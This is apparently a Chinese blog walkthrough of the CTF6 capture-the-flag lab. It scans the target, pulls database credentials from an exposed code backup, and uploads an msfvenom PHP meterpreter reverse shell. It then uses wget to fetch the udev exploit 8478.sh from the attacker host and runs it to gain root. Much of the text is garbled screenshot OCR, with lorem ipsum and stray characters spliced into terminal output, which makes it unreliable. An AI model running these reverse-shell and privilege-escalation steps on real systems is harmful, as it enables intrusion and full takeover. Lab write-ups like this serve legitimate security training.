CTF6 靶机渗透



15 篇文章 0 订阅 订阅专栏

兵无常势,水无常形,能因敌而致胜者,谓之神

CTF 专栏收录该内容

1. 环境准备

VMware workstation Pro12 Kali Linux (IP: 10.10.16.133) CTF6 虚拟机 NAT 网络设置

2. 靶机渗透

2.1 主机发现

可以有以下三种方式:

netdiscover -r 10.10.16.133 (使用) arp-scan -l fping -asg

root@Kali:~# netdiscover -r 10.10.16.133

Currently scanning: Finished! | Screen View: Unique Hosts

5. Captured ARPbReq/Rep packets, dfromn4thosts: is iTotalesize: / 300 ently opened web pa

	ou IPh try:	At M	MAC Address	Count	Len	MAC Vendor / Hostname
•	10.10.16. 10.10.16. 10.10.16.	2 or mo 00:5 1	50:56:e1:4c:e6 50:56:c0:00:08 0c:29:32:79:f3	/ be cau 2 ing the 1 1	120 60 60	VMware, Inc. VMware, Inc. VMware, Inc.
	10.10.16.	254 00:5	50:56:f5:cf:4f	1	60	VMware, The.

2.2 端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.137

root@Kali:~# nmap -A -v -sS -sV -p- -T4 10.10.16.137

Starting Nmap 7.60 (https://nmap.org) at 2020-02-18 21:07 EST NSE: Loaded 146 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 21:07 Completed NSE at 21:07, 0.00s elapsed Initiating NSE at 21:07 Completed NSE at 21:07, 0.00s elapsed causing the problem Initiating ARP Ping Scan at 21:07 Scanning 10.10.16.137 [1 port] Completed ARP Ping Scan at 21:07, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:07 Completed Parallel DNS resolution of 1 host. at 21:07, 0.19s elapsed Initiating SYN Stealth Scan at 21:07 Scanning 10.10.16.137 [65535 ports] Discovered open port 443/tcp on 10.10.16.137 Discovered open port 3306/tcp on 10.10.16.137 Discovered open port 22/tcp on 10.10.16.137 Discovered open port 80/tcp on 10.10.16.137 Discovered open port 111/tcp on 10.10.16.137 Discovered open port 621/tcp on 10.10.16.137 Completed SYN Stealth Scan at 21:07, 3.07s elapsed (655୩୫୫୫/ଡିବିୟା-ଜୁର୍ଗ୍ନନ୍କୁର୍ଟ/LZHPIG

2.3 目录扫描

Nikto 识别网站软件版本;搜索存在安全隐患的文件;检查服务器配置漏洞;检查 WEB Application 层面的安全隐患。

nikto -h http://10.10.16.137

<pre>+ OSVDB-3268: /files/: Directory indexing found. + OSVDB-3092: /files/: This might be interesting + OSVDB-3268: /lib/: Directory indexing found.</pre>	
+ OSVDB-3092: /lib/: This might be interesting + Cookie roundcube sessid created without the httponly f	lag
 + OSVDB-3092: /mail/: This might be interesting + OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is f 	for managing MySQL databa
+ Server leaks inodes via ETags, header found with file node: 97164. size: 35791. mtime: Wed Oct 19 17:47:44 209	/phpmyadmin/ChangeLog, i 5
+ OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for m and should be protected or limited to authorized hosts.	anaging MySQL databases,
+ OSVDB-3268: /sql/: Directory indexing found. + OSVDB-3092: /manual/: Web server manual found.	
+ OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3268: /manual/images/: Directory indexing found.	
+ OSVDB-3268: /docs/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found.	
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin atabases. and should be protected or limited to authoriz	is for managing MySQL d
+ 8478 requests: 0 error(s) and 29 item(s) reported on r + End Time: 2020-02-18 21:09:17 (GMT-5) (26 se	emote host conds)
+ 1 host(s) tested <pre>root@Kali:~#</pre>	https://blog.csdn.net/LZHPIG



2. 在 docs 目录下发现了源码文件,可以下载下来进行代码审计。

 ● ③ 10.10.16.137/docs/ ● Most Visited ● 10.10.16.137/docs/ ● Kali Linux ● Kali Docs ● Kali Tools ● Exploit-DB ● Aircrack-ng ● Kali Forums ● NetHunter ● Getting Started Index of /docs Name Last modified Size Description Parent Directory I code_backup.tgz 29-Jun-2009 18:59 34K I phpinfo.php 23-Jun-2009 18:59 34K I phpinfo.php 23-Jun-2009 18:01 23 Apache/2.2.3 (CentOrs) Server at 10.10.16.137 Port 80 I Generation Comparison I Generation Comparison I Generation Comparison I Code_backup.tgz (default) ● Do this automatically for files like this from now on. I Do this gutomatically for files like this from now on. I Do this gutomatically for files like this from now on. I Do this gutomatically for files like this from now on. I Do this gutomatically for files like this from now on. I Do this gutomatically for files like this from now on. I Do this gutomatically for files like this from now on. I Do this gutomatically for files like this from now on. 	http://10.107/sql/db.sql × Index of /docs × +		
Most Visited Moffensive Security Kali Linux Kali Docs Kali Tools Exploit-DB Alrcrack-ng Kali Forums NetHunter Getting Started Index of /docs Name Last modified Size Description Parent Directory Code_backup.tgz 29-Jun-2009 18:59 34K Code_backup.tgz 29-Jun-2009 18:59 34K Data 23-Jun-2009 14:01 23 Apache/2.2.3 (Centor) Server at 10.10.16.137 Port 80 Image: All code backup to the submitted of	(10.10.16.137/docs/		php
Index of /docs Opening code_backup.tgz	🗟 Most Visited 🗸 👖 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🛸	Exploit-DB 🐚 Aircrack-ng 🚺 Kali Forums 🌂 NetHunter 😻 Getting Started	
Name Last modified Size Description Parent Directory - Code backup.tgz 29-jun-2009 18:59 34K phpinfo.php 23-jun-2009 14:01 23 Apache/2.2.3 (CentOr) Server at 10.10.16.137 Port 80 What should Firefox do with this file? Open with Archive Manager (default) Save File Do this automatically for files like this from now on.	Index of /docs	Opening code_backup.tgz	
	Name Last modified Size Description Parent Directory - code backup.tgz 29-Jun-2009 18:59 34K phpinfo.php 23-Jun-2009 14:01 23 Apache/2.2.3 (CentOr) Server at 10.10.16.137 Port 80	You have chosen to open: Code_backup.tgz which is: Gzip archive (33.5 KB) from: http://10.10.16.137 What should Firefox do with this file? Open with Archive Manager (default) ~ Save File Do this automatically for files like this from now on. Cancel OK	

3. 进入 phpmyadmin 目录

	php <mark>MyAdmin</mark>	
	Welcome to phpMyAdr	nin
-Language-		
English	~	
-log in		

Pas	sword:			
				Go
Δ	Cannot load / configuration.	mcrypt extension	. Please chec	k your PHP

4. 在上面获取的网站源码中,进入 conf /config.ini,发现登录数据库的帐密

< > 🖌 🏠 Home	Downloads >			Q = = -	• ×
🕲 Recent					
✿ Home	тд				
🖀 Desktop	code_ data backup(1).	secret.gz gitkeep	111.pdf	111 linux	
Documents	tgz				
Downloads	Extract +	code_backu	ıp(1).tgz	Q = -	• ×
🎜 Music	✓ > Location:	🖬 /conf/			
n Pictures	Name	▼ Size 1	Гуре	Modified	
_	ia .htaccess	14 bytes u	Inknown	22 June 2009, 15:25	
🕂 Videos	🔝 config.ini	137 bytes u	Inknown	23 June 2009, 20:18	
⑦ Trash	Open 👻 🏨	config ~/.cache/.fr-so	. ini SkQe/conf	Save 🔳 🖨	• •
+ Other Locations	; ; This is the configu	ration file			
	;				
	database host =	localhost 45kkald20laLKD			
	database_pass = database_user =	45KKald?8laLKD cms_user			
	database_db =	cms	•		

5. 登录进去之后就可以对数据库为所欲为了。

php <mark>MyAdmin</mark>	gg Server: localhost:3306		
	🖓 Databases 🐰 SQL 🕸 Status 🕲 Variables 🔛 Charsets 😝 Engines 😭 Privileges 🎭 Processes 🚓 Export 🏹 Import		
• cms (3)	Actions	MySQL	
information_schema (17) mysql (17) roundcube (6) test		Server: Localhost via UNIX socket Server version: 5.0.45 Portecel version: 10	
Plassa salart a databasa	MySQL localhost	User: cms_user@localhost	
	🔁 Create new database @	1 MySQL charset: UTF-8 Unicode (utf8)	
	Collation Create	Web server	
		Apache/2.2.3 (CentOS)	
	Interface	MySQL client version: 5.0.45	
	🜮 Language 🚯 : English	PriP extension: mysqu	
	Style: Original	phpMyAdmin	
	Custom color:	Version information: 3.0.0	
	► Font size: 82% ✓	Documentation	
			~~~\
		ChangeLog] [Subversion] [Lists]	
			a ha ha ha dan in
			pnpivigAdmin
	A Cannot load marypr extension. Please check your PHP configuration.		
			Open new phpMyAdmin window

6. 拿到网站的源码,也成功控制了数据库,接下来看能不能拿到服务器的 root 权限。在前面的端口扫描中发现靶机上开放22 端口,看看在这里获取的用户名和密码能不能进行远程登录。

发现不可以

rootgKall:=##'issh admin@10:10.16:137sque eu nunc. Proin sed nibh a nisl tempus fringil admin@10.10.16.137's password:aucibus non, suscipit nec felis. Praesent eleifend turpis Permissionudenied, aplease trysagain:t mi vel nunc lacinia nec pulvinar lectus congue admin@10.10.16.137's password:or magna eleifend vel. Lorem ipsum dolor sit amet, Permission denied, pleaseutrynagain:el venenat... admin@10.10.16.137's password: admin@10.10.16.137's password: admin@10.10.16.137: Permission denied (publickey,gssapi-with-mic,password).

## 2.4 漏洞挖掘

1. 用 ZAP 对 http://10.10.16.137 进行扫描,发现了两个高危漏洞。

	Untitled Session - OWASP ZAP 2.6.0	
Eile Edit View Analyse Report Tools Online Help		
Standard Mode 💌 🗋 😂 🖬 🖶 🌐 🖾 🖳 🗖 🔲 🗖 🔲 🗖 🗮 🗸 🔴		
Sites 🛨	✓ Quick Start     → Request     Response	
	Header: Text 💌 Body: Text 💌 📃	
* © ontexts ◎ Default Context ● Sites 高危漏洞: SQL注入/XSS	HTTP/1.1 200 0K Date: Tues. IS Feb 2200 07:49:04 (PfT Server: Agache/2.2.3 (Cent05) K.Powerd-0by: PHP/52.6 Set-Cookle: PHPS5SDD-wb01Juh3edfbenc2le7gklde5; path-/ Explares: Tue. 10 No 1910 05:2:00 0FT Cache-Control: no-Store. no-cache. must-revalidate. post-check-0 Prapa: no-cache Grane: Tue-cache Connection: close Connection: close Connection: close Connection: close	
	<pre>db&gt;Got Questions?vh2&gt; ``</pre>	
🖀 History 🔍 Search 🏴 Alerts 🖈 📋 Output 🕷 Spider 👌 Active Scan 🛖		
SQL Injection     SQL inj	index.php?id=3-2	
Other Info:		
The original page results were The parameter value being me	successfully replicated using the expression [3-2] as the parameter value dified was NOT stripped from the HTML output for the purposes of the comparison https://biog.com/n.ed/. 2	HPIG

2. SQL 注入漏洞可以用 sqlmap 进行注入,不过既然已经可以控制数据库了,那这里的 SQL 注入漏洞也没必要去试。看一看 XSS 漏洞。

访问 http://10.10.16.137/?action=login 得到一个登录界面,用上面获取的帐密登录。(推荐使用 谷歌/IE 浏览器 )

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- John Sloan CEO
- Linda Charm Manager
- Fred Beekman Sales
- · Molly Steele Assistant
- · Toby Victor Technical

# ۱ admin/adminpass

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3. 如果使用其他浏览器(如: QQ/Firefox)的话, login in 后面的几个按钮不能显示出来。



# 2.5 漏洞利用

### 2.5.1 msf 生成 php 反弹 shell

- 1. reverse_tcp: 攻击机设置一个端口(LPORT)和IP(LHOST), Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监 听该端口会发现测试机已经连接。
- 2. bind_tcp: 攻击机设置一个端口(LPORT), Payload在测试机执行打开该端口,以便攻击机可以接入。
- 3. 采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被 安全软件和防火墙发现。

<pre>root@Kali:~# msfvenom -p php/meterpreter_reverse_tcp LH0ST=10.10.16.133 LP0RT=44</pre>
44 -o zhutou.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30093 bytes
Saved as: zhutou.php

# 2.5.2 上传 shell

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About Us	Add a New Event
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Our Staff	
Our dedicated staff are completely widget certified and extremely pro-widget. To contact us use the email addresses below:	
John Sloan - CEO     Linda Charm - Manager     Fred Beekman - Sales     Molly Steele - Assistant     Toby Victor - Technical	
	Image: C:\Users\Lin\Desktop\she 浏览 Add event 把shell.php上传

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# 2.5.3 开启 msf

msfconsole



### 2.5.4 基本配置

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 10.10.16.133

```
msf > use exploit/multi/hander
[-] Failed to load module: exploit/multi/hander
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 10.10.16.133
lhost => 10.10.16.133
```

2.5.5 exploit



当靶机访问 home 目录之后,即建立 TCP 连接,靶机访问攻击机的 4444 端口之后产生会话 1 就可以反弹 shell。 (ps: 如果没有自动反弹 shell 的话,可以 CTRL+C 退出,加入 sessions 1 管理会话1,就可以反弹 shell)



### 2.5.6 查看系统信息

sysinfo

在这里可以看到靶机的操作系统内核为 2.6.18 , 而 Linux 2.6 版本存在一个 udev 的本地提权漏洞在下面会利用到。



### 2.5.7 进入交互式 shell

shell (进入交互式 shell)
ifconfig (查看主机)
whoami (查看用户)
python -c 'import pty;pty.spawn("/bin/bash")'

meterpre	ter > shell
Process	8731 created.
Channel	0 created
ifconfig	
eth0	Link encap:Ethernet HWaddr 00:0C:29:32:79:F3
	inet addr:10.10.16.137 Bcast:10.10.16.255 Mask:255.255.255.0
	inet6 addr: fe80::20c:29ff:fe32:79f3/64 Scope:Link
	UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
	RX packets:362313 errors:0 dropped:0 overruns:0 frame:0
	TX packets:382779 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txqueuelen:1000
	RX bytes:40683432 (38.7 MiB) TX bytes:113688977 (108.4 MiB)
	Interrupt:67 Base address:0x2000
lo	Link encap:Local Loopback
	inet addr:127.0.0.1 Mask:255.0.0.0
	inet6 addr: ::1/128 Scope:Host
	UP LOOPBACK RUNNING MTU:16436 Metric:1
	RX packets:78 errors:0 dropped:0 overruns:0 frame:0
	TX packets:78 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txqueuelen:0
	RX bytes:12534 (12.2 KiB) TX bytes:12534 (12.2 KiB)
whoami 🤺	
apache 🧲	https://blog.csdn.net/LZHPIG

python -c 'import pty;pty.spawn("/bin/bash")' bash-3.2\$

# 2.5.8 查看攻击脚本

ps:重新开一个窗口。

searchsploit linux udev

<pre>root@Kali:~# searchsploit linux udev</pre>	13688977 (108.4 MiB)
Exploit Title ^{:67} Base address:0x2000	Path   (/usr/share/exploitdb/platforms/)
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gent Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) Linux Kernel 4.8.0 UDEV < 232 - Privilege Es Linux Kernel UDEV < 1.4.1 - 'Netlink' Privil	linux/local/8478.sh linux/local/8572.c linux/local/41886.c linux/local/21848.rb

2.5.9 将脚本粘贴到 tmp 文件夹



### 2.5.10 将 tmp 作为共享目录

在 tmp 目录下开启 http 服务, 开启 80 端口

python -m SimpleHTTPServer 80



### 2.5.11 下载攻击代码

进入交互式 shell , 下载从攻击机那里下载脚本。

wget http://10.10.16.133/8478.sh

sh73.2\$ wget http://10.10.16.13	3/8478.sh 🚄	
wget http://10.10.16.133/8478.s	h	
5:07:59:019=Z1http://10.10.16.1	33/8478.sh	
Connecting to 10.10.16.133:80.4	. connected. 29bbb - color	
HTTP request sent, awaiting res	ponse 200 OK	
Length: 3498 (3.4K)7 [text/x-sh]	99e47ffea36429bbb-rtkit	
Savingdto:iv84781sh/aee731fd474		
100%[===================================	=========>] 3,498	K/s in 0s
VMwareDnD		
07:59:01 (246 MB/s) - `8478.sh'	saved [3498/3498]	
zhutoul		
sh-3.2\$lls/tmp# pythop  Simple		
bssh: python-m:mmand not fou		
41886 clicit p# python -m Simpl	eHTTP <b>script1</b> 80	
8478ish mTP on 0.0.0.0 port 80	script2	
85720c16.137 [19/Feb/2020 0	7:48: <b>shellGphp</b> /zhutou H	
drive-removable-mediaFieee13940	png8:stockGnew/appointme	entPpng0" 200 -
libno_ex.so71.0- [19/Feb/2020 0	7:54: <b>suid:c</b> ET /41886.c	
media-optical-bd.png/Feb/2020 0	7:56: <b>udev:c</b> ET /8572.c H	
palmepilot3png - [19/Feb/2020 0	7:59: <b>zhùtöü</b> ET /8478.sh	
program.c	zhutou.php	
program.o	zhutou1	
redhat-applications.png	zhutou3.php	
redhat-home.nng	ntt	ps://blog.csan.net/LZHPIG

### 2.5.12 添加执行权限,执行脚本

一般刚上传的文件是普通的文件,没有执行权限,得添加执行权限。

将脚本从文本格式转换为 nuix 格式: dos2unix 8478.sh 添加执行权限: chmod +x 8478.sh 查看执行权限: ls -la 8478.sh 查看进程: cat /proc/net/netlink 利用 568 的一个进程: ./8478.sh 568

sh-3.2\$ dos2unix 8478.shot found dos2unix 8478.shpthon -m SimpleHTTPServer 80 dos2unix:TconvertingOfile 8478.sh to UNIX format ... sh-3.2\$ chmod +x 8478.sh 2020 07:48:17] "GET /zhutou HTTP/1.0" 200 chmod +x 8478.sh [19/Feb/2020 07:48:35] "GET /zhutoul HTTP/1.0" 200 sh-3.2\$ ./8478.sh [19/Feb/2020 07:54:07] "GET /41886.c HTTP/1.0" 200 -1/8478.sh1568 - [19/Feb/2020 07:56:31] "GET /8572.c HTTP/1.0" 200 suid.c:Onsfunction9/main':20 07:59:31] "GET /8572.c HTTP/1.0" 200 suid.c:3: warning: incompatible implicit declaration of built-in function 'execl' sh-3.2# whoami whoami root sh-3.2# _______ thtps://blog.csdn.net/LZHPIG

猪头

2020.2.19



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